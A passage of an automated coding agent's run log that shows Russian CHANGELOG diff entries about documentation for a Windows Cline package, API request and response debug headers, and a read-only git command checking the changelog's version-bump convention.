\u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 GigaCode CLI, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c Python \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0431\u0430\u0437\u043e\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 `docs/kb/`, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d `TASK-0001` \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c A-IN, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435\u043c Working \u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0443\u0437\u043b\u0430\u043c `RG-BCREQ-v1` \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0443\u0437\u043b\u043e\u0432 \u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u043c\u0438 runner. \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64): \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 PowerShell, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 BOM, \u043a\u043b\u043e\u043d \u0441 `core.autocrlf` \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `.git` \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043b\u043e\u043c\u0430\u044e\u0442 `G-mach`. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-2\u2026\u041e-10 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221; \u043d\u043e\u0432\u044b\u0439 `test_guides.py` \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0431\u043b\u043e\u043a\u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432 Windows PowerShell 5.1 \u0438 PowerShell 7 (CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0432\u0441\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" - projects: [\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u0430 \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 BCREQ (issue [#636](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/636)): \u0441\u0442\u0430\u0440\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430 Jira \u0438\u043b\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0443\u044e \u0444\u0440\u0430\u0437\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 Plan, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u043c\u043e\u0434\u0435\u043b\u0438 (\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, hooks \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 Windows, \u043d\u0435\u0442 skills \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0442\u043b\u0430\u0434\u043a\u0438) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-1\u2026\u041e-5 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-198\u2026B-202; \u0442\u0435\u0441\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" - projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0435\u0433\u043e \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) (issue [#628](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/628)): \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0431\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 KB \u0438\u0437 `mango-ba-ai-runtime/docs/kb`, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c trace, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u0430\u043f\u043e\u043a, \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 Windows 10/11 x64; \u043f\u0430\u043a\u0435\u0442 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 Source.\"\n[2026-09-29T08:00:26.111Z] [INFO]               ]\n[2026-09-29T08:00:26.111Z] [INFO]             }\n[2026-09-29T08:00:26.111Z] [INFO]           ]\n[2026-09-29T08:00:26.111Z] [INFO]         },\n[2026-09-29T08:00:26.111Z] [INFO]         {\n[2026-09-29T08:00:26.111Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/.gitkeep\",\n[2026-09-29T08:00:26.111Z] [INFO]           \"hunks\": [\n[2026-09-29T08:00:26.111Z] [INFO]             {\n[2026-09-29T08:00:26.111Z] [INFO]               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{\n[2026-09-29T08:00:26.224Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:00:26.226Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:00:26.231Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:00:26.237Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:00:26.240Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:00:26.243Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:00:26.249Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:00:26.251Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:00:26.254Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:00:26.257Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:00:26.261Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:00:26.264Z] [STDOUT]       stream: true,\n[2026-09-29T08:00:26.267Z] [STDOUT]     },\n[2026-09-29T08:00:26.271Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:00:26.274Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:00:26.279Z] [STDOUT]       aborted: false,\n[2026-09-29T08:00:26.282Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:00:26.284Z] [STDOUT]       onabort: null,\n[2026-09-29T08:00:26.288Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:00:26.291Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:00:26.295Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:00:26.298Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:00:26.303Z] [STDOUT]     },\n[2026-09-29T08:00:26.305Z] [STDOUT]     stream: true,\n[2026-09-29T08:00:26.307Z] [STDOUT]   },\n[2026-09-29T08:00:26.313Z] [STDOUT]   headers: {\n[2026-09-29T08:00:26.315Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:00:26.318Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:00:26.321Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:00:26.323Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:00:26.326Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:00:26.331Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:00:26.335Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:00:26.338Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:00:26.371Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:00:26.373Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:00:26.376Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:00:26.378Z] [STDOUT]   },\n[2026-09-29T08:00:26.380Z] [STDOUT] }\n[2026-09-29T08:00:27.097Z] [STDOUT] [log_825e4f, request-id: \"req_011CfXNuCnZDDrysAnTmezeZ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 913ms\n[2026-09-29T08:00:27.102Z] [STDOUT] [log_825e4f] response start {\n[2026-09-29T08:00:27.106Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:27.109Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:27.111Z] [STDOUT]   headers: {\n[2026-09-29T08:00:27.113Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:27.116Z] [STDOUT]     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\"rejected\",\n[2026-09-29T08:00:27.170Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:27.175Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:27.181Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:27.183Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:27.188Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:27.194Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:27.199Z] [STDOUT]     \"cf-ray\": \"a4297443aba45d90-FRA\",\n[2026-09-29T08:00:27.203Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:27.206Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:27.209Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:27.214Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:27.217Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:27 GMT\",\n[2026-09-29T08:00:27.222Z] [STDOUT]     \"request-id\": \"req_011CfXNuCnZDDrysAnTmezeZ\",\n[2026-09-29T08:00:27.232Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:27.235Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:27.240Z] [STDOUT]     traceresponse: \"00-71bd620fbd4066e8ce6f1703cf501fb6-3d19cf75dbdac7e3-01\",\n[2026-09-29T08:00:27.246Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:27.251Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:27.254Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:27.257Z] [STDOUT]   },\n[2026-09-29T08:00:27.264Z] [STDOUT]   durationMs: 913,\n[2026-09-29T08:00:27.270Z] [STDOUT] }\n[2026-09-29T08:00:27.275Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:27.279Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:27 GMT\",\n[2026-09-29T08:00:27.285Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:27.288Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:27.291Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:27.294Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:27.298Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:27.301Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:27.304Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:27.307Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:27.310Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:27.314Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:27.317Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:27.323Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:27.329Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:27.346Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:27.351Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:27.357Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:27.361Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:27.367Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:27.372Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:27.379Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:27.382Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:27.386Z] [STDOUT]   \"request-id\": \"req_011CfXNuCnZDDrysAnTmezeZ\",\n[2026-09-29T08:00:27.389Z] [STDOUT]   \"traceresponse\": \"00-71bd620fbd4066e8ce6f1703cf501fb6-3d19cf75dbdac7e3-01\",\n[2026-09-29T08:00:27.393Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:27.398Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:27.403Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:00:27.409Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:27.413Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:27.418Z] [STDOUT]   \"cf-ray\": \"a4297443aba45d90-FRA\",\n[2026-09-29T08:00:27.421Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:00:27.428Z] [STDOUT] [log_825e4f] response parsed {\n[2026-09-29T08:00:27.432Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:27.436Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:27.439Z] [STDOUT]   body: X {\n[2026-09-29T08:00:27.444Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:00:27.450Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:00:27.452Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:00:27.454Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:00:27.459Z] [STDOUT]     },\n[2026-09-29T08:00:27.462Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:00:27.468Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:00:27.470Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:00:27.472Z] [STDOUT]   },\n[2026-09-29T08:00:27.476Z] [STDOUT]   durationMs: 914,\n[2026-09-29T08:00:27.479Z] [STDOUT] }\n[2026-09-29T08:00:27.639Z] [INFO] {\n[2026-09-29T08:00:27.639Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:27.639Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:27.639Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:00:27.639Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:27.639Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:27.639Z] [INFO]   \"uuid\": \"1295f8b5-2c01-42a2-afa8-1ee29a31cead\"\n[2026-09-29T08:00:27.639Z] [INFO] }\n[2026-09-29T08:00:28.224Z] [INFO] {\n[2026-09-29T08:00:28.224Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:28.224Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:28.224Z] [INFO]   \"estimated_tokens\": 186,\n[2026-09-29T08:00:28.224Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:28.224Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:28.224Z] [INFO]   \"uuid\": \"d3262608-0c71-4d0a-9e11-fd031d4187a6\"\n[2026-09-29T08:00:28.224Z] [INFO] }\n[2026-09-29T08:00:28.238Z] [INFO] {\n[2026-09-29T08:00:28.238Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"message\": {\n[2026-09-29T08:00:28.238Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"id\": \"msg_011CfXNuDLY6LU4hu8pUacii\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"content\": [\n[2026-09-29T08:00:28.238Z] [INFO]       {\n[2026-09-29T08:00:28.238Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:00:28.238Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:00:28.238Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:00:28.238Z] [INFO]     ],\n[2026-09-29T08:00:28.238Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:28.238Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:28.238Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T08:00:28.238Z] [INFO]       \"cache_read_input_tokens\": 79099,\n[2026-09-29T08:00:28.238Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:28.238Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:28.238Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T08:00:28.238Z] [INFO]       },\n[2026-09-29T08:00:28.238Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:28.238Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:28.238Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:28.238Z] [INFO]     },\n[2026-09-29T08:00:28.238Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:28.238Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:28.238Z] [INFO]   },\n[2026-09-29T08:00:28.238Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:28.238Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"uuid\": \"b5407547-bc5a-4a49-9ee2-a5a2972a5658\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:28.223Z\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"request_id\": \"req_011CfXNuCnZDDrysAnTmezeZ\"\n[2026-09-29T08:00:28.238Z] [INFO] }\n[2026-09-29T08:00:29.288Z] [INFO] {\n[2026-09-29T08:00:29.288Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"message\": {\n[2026-09-29T08:00:29.288Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"id\": \"msg_011CfXNuDLY6LU4hu8pUacii\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"content\": [\n[2026-09-29T08:00:29.288Z] [INFO]       {\n[2026-09-29T08:00:29.288Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:00:29.288Z] [INFO]         \"id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:29.288Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:00:29.288Z] [INFO]         \"input\": {\n[2026-09-29T08:00:29.288Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git log -3 --format='%h %s' -p origin/main -- CHANGELOG.md | grep -E '^[+-](version|updated)|^[0-9a-f]{7} '; git log -1 --format=%h -S'version: 2.11' -- CHANGELOG.md\",\n[2026-09-29T08:00:29.288Z] [INFO]           \"description\": \"Check CHANGELOG version bump convention\"\n[2026-09-29T08:00:29.288Z] [INFO]         },\n[2026-09-29T08:00:29.288Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:29.288Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:29.288Z] [INFO]         }\n[2026-09-29T08:00:29.288Z] [INFO]       }\n[2026-09-29T08:00:29.288Z] [INFO]     ],\n[2026-09-29T08:00:29.288Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"stop_reason\": 